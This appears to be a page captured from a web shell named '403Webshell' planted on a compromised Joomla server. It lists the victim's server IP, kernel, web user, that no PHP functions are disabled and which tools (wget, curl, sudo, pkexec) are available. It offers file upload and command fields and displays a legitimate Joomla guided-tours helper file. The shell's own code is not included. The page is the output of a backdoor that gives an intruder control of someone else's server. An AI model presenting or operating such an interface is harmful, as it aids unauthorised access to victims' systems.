403Webshell
Server IP : 104.21.84.107  /  Your IP : 104.23.243.197
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/pregrados/administrator/modules/mod_guidedtours/src/Helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/pregrados/administrator/modules/mod_guidedtours/src/Helper/GuidedToursHelper.php
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  mod_guidedtours
 *
 * @copyright   (C) 2023 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\GuidedTours\Administrator\Helper;

use Joomla\CMS\Application\AdministratorApplication;
use Joomla\CMS\Language\Multilanguage;
use Joomla\Registry\Registry;
use Joomla\Uri\Uri;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Helper for mod_guidedtours
 *
 * @since  4.3.0
 */
class GuidedToursHelper
{
    /**
     * Get a list of tours from a specific context.
     *
     * @param   Registry                  $params  Object holding the module parameters
     * @param   AdministratorApplication  $app     The application
     *
     * @return  mixed
     *
     * @since   4.3.0
     */
    public function getTours(Registry $params, AdministratorApplication $app)
    {
        $factory = $app->bootComponent('com_guidedtours')->getMVCFactory();

        $user = $app->getIdentity();

        // Get an instance of the guided tour model
        $tourModel = $factory->createModel('Tours', 'Administrator', ['ignore_request' => true]);

        $tourModel->setState('filter.published', 1);
        $tourModel->setState('filter.access', $app->getIdentity()->getAuthorisedViewLevels());

        if (Multilanguage::isEnabled()) {
            $tourModel->setState('filter.language', ['*', $app->getLanguage()->getTag()]);
        }

        $items = $tourModel->getItems();

        foreach ($items as $key => $item) {
            // The user can only see the tours of extensions that are allowed.
            $uri = new Uri($item->url);

            if ($extension = $uri->getVar('option')) {
                if (!$user->authorise('core.manage', $extension)) {
                    unset($items[$key]);
                }
            }
        }

        return $items;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit